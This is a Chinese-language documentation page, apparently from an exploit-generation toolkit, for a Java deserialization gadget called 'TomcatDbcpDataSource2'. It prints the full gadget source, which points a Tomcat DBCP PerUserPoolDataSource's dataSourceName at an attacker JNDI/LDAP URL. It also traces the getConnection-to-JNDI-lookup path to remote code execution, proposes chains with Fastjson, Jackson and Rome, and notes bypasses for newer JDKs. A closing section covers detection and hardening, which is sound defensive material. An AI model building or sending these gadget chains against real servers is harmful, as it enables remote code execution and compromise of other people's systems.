Skip to content

Latest commit

 

History

History
95 lines (78 loc) · 9.99 KB

File metadata and controls

95 lines (78 loc) · 9.99 KB

TomcatDbcpDataSource2 JNDI(TomcatDbcpDataSource2)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.apache.tomcat:tomcat-dbcp < 8(内含 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource
  • 实现Gadget

作用

一句话:构造一个 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource,把其 dataSourceName 设为攻击者可控的 JNDI 地址。当上游触发它的 getConnection()(即读取 connection 属性 / 调用特殊公有方法)时,DBCP2 的 InstanceKeyDataSource 基类会用 dataSourceName 发起 JNDI 查找,从而把「任意 getter / 方法触发」桥接为 JNDI 注入(LDAP/RMI → 远程加载恶意对象 → RCE)。它是 DataSourceChains 家族中的一个 END 型 JNDI sink

链接标签

本 gadget 的 @GadgetTagstags={"DataSourceChains","SpecialPublicMethod","Getter","END"}nextTags 为空。

  • 入口 tags
    • DataSourceChains —— 承接「会对一个 DataSource 对象调用方法」的上游 gadget(nextTagsDataSourceChains 者),如 FastjsonFastjson2JacksonJacksonToStringFastjsonToString1/FastjsonToString2、Rome 系列、DWrap(Spring AOP 包裹层)。
    • SpecialPublicMethod —— 触发点不是标准 JavaBean getter 语义,而是按方法名直接调用公有方法 getConnection()(无参、返回 Connection)。invoke 通过 SPECIAL_METHOD_NAME_KEY 告知上游要调用的方法名,使那些「按名调用方法而非按属性」的触发器也能命中。
    • Getter —— 同时也能以 bean 属性 connection 的读取方式(getConnection)触发,invoke 通过 GETTER_PARAM_NAME_KEY 告知属性名 connection。两者并存,覆盖不同触发风格的上游。
    • END —— 就 gadget 图而言这是终点:其后不再衔接另一个 gadget,真正的「下一跳」是外部 JNDI 服务器(不在链定义内)。
  • 衔接 nextTags:(无)—— 与 END 一致,本 gadget 自身即 sink,不向下游 gadget 传递。
  • excludes:(无)。

源码剖析

反编译源码极为精简,全部逻辑在 getObject()invoke() 两个方法:

@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
@GadgetAnnotation(name="TomcatDbcpDataSource2 JNDI",
    description="tomcat中的dbcp,可通过getter 方法(getConnection)触发此链,转为jndi利用\n"
              + "org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",
    dependencies={"org.apache.tomcat:tomcat-dbcp < 8"})
public class TomcatDbcpDataSource2 implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="Jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() {
        PerUserPoolDataSource dataSource = new PerUserPoolDataSource();
        dataSource.setDataSourceName(this.jndiUrl);   // 关键:dataSourceName = 攻击者 JNDI URL
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);      // 声明该对象应以 DataSource 接口对待
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");    // 特殊公有方法触发点
        context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");         // 等价的 getter 属性名
        return this.getObject();
    }
}

逐段解释:

  • getObject() —— 构造 sink 对象。 new PerUserPoolDataSource() 创建 DBCP2 的按用户分池数据源;setDataSourceName(jndiUrl) 把内部字段 dataSourceName 设为攻击者的 JNDI URL。PerUserPoolDataSource 继承自 org.apache.tomcat.dbcp.dbcp2.datasources.InstanceKeyDataSource:当其任一 getConnection() 重载被调用时,基类会走 getPooledConnectionAndInfo(...)dataSourceName 执行 new InitialContext().lookup(dataSourceName) 以取回底层 ConnectionPoolDataSource。因此把 dataSourceName 指向 ldap://… / rmi://…getConnection() 一旦被调用即发起对外 JNDI 查找。
  • invoke() —— 不消费内层对象,纯 sink。 注意它没有调用 chain.doCreate(context):这与 END 标签一致——本 gadget 是链尾,不包裹任何下游 gadget 产物。它做的是往 GadgetContext 写入三个协商键,供上游触发器读取:
    • SUPER_CLASS_NAME_KEY = DataSource.class:告知上游「这个对象要按 javax.sql.DataSource 接口来处理」(例如生成代理、按接口方法探测时使用)。
    • SPECIAL_METHOD_NAME_KEY = "getConnection":告知按名直接调用的公有方法(对应 SpecialPublicMethod 标签)。
    • GETTER_PARAM_NAME_KEY = "connection":告知等价的 bean 属性名(对应 Getter 标签)。上游 gadget(如 Jackson/Fastjson/Rome 的 getter 触发器)据此知道要读哪个属性/调哪个方法,才能命中 getConnection()
  • 字段 getterMethodName/getterPropertyNameprivate final 常量,仅作类内自述,实际生效的是 invoke 中写入 context 的字符串。

触发链路(反序列化后):上游触发器 → PerUserPoolDataSource.getConnection()InstanceKeyDataSource.getPooledConnectionAndInfo()InitialContext.lookup(dataSourceName) → 远程 LDAP/RMI 返回恶意 Reference/序列化对象 → JNDI 注入 RCE。

参数(@Param)

字段 名称 说明 类型 默认值 可选值
jndiUrl Jndi地址 写入 PerUserPoolDataSource.dataSourceNamegetConnection() 触发时对其做 JNDI 查找的目标地址 String ldap://127.0.0.1:1389/x —(自由填写,通常为攻击者控制的 ldap://rmi://

适用版本与原理要点

  • 依赖org.apache.tomcat:tomcat-dbcp < 8。此区间 tomcat-dbcp 打包了 DBCP2 的 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource(源码 CFR 注释 Could not load … PerUserPoolDataSource 属正常,缺失第三方类不影响逻辑)。
  • 原理要点:利用点是 InstanceKeyDataSource#getConnection() 内部对 dataSourceNameJNDI lookup——一个「读属性即联网」的危险公有方法,无需序列化魔术方法,只要上游能触发一次 getConnection() 即可。
  • JNDI 注入的最终 RCE 仍受目标 JDK 约束:高版本 JDK(8u191+/11.0.1+ 等)默认 com.sun.jndi.ldap.object.trustURLCodebase=falsermi 同理,远程 codebase 加载被禁;此时需结合本地 factory / 反序列化二次利用等绕过手段。
  • 同族变体矩阵(同目录,触发协商逻辑完全一致,仅 sink 数据源类与依赖区间不同):

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按标签自行组合:以任一 nextTagsDataSourceChains 的 getter 触发型 gadget 作上游,本 gadget 作 END sink,例如 [Fastjson, TomcatDbcpDataSource2][Jackson, DWrap, TomcatDbcpDataSource2](经 DWrap 做 Spring AOP 代理包裹以提高 Jackson 触发稳定性)。

关联

防御与检测

  • 序列化指纹:payload 字节流 / 反序列化白名单中出现 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceInstanceKeyDataSource,或伴随的上游触发类(com.fasterxml.jackson.databind.node.POJONodecom.rometools.rome.feed.impl.ObjectBean、fastjson JSONObject 等),应高度警惕。
  • 运行时行为:进程在反序列化上下文中调用 DataSource.getConnection() 后立即产生对外 LDAP(389/636) / RMI(1099) 连接,是强特征。可对 InitialContext.lookup 加钩子/审计,或在 SIEM 中关联「反序列化调用栈 + JNDI 出站」。
  • 加固建议
    • 反序列化入口启用类白名单(JEP 290 ObjectInputFilter 或框架级 resolveClass 校验),拒绝 *.dbcp*.datasources.*DataSourceInstanceKeyDataSource 等非业务类。
    • 升级 JDK 并保持 com.sun.jndi.ldap.object.trustURLCodebase=false / com.sun.jndi.rmi.object.trustURLCodebase=false(默认即为 false),阻断远程 codebase 加载。
    • 出站方向对应用服务器限制到 LDAP/RMI 的连接(默认拒绝),切断 JNDI 注入的回连通道。
    • 尽量升级或移除受影响的 tomcat-dbcp < 8;确无必要时不要在可被外部数据反序列化的组件中引入 DBCP 数据源类。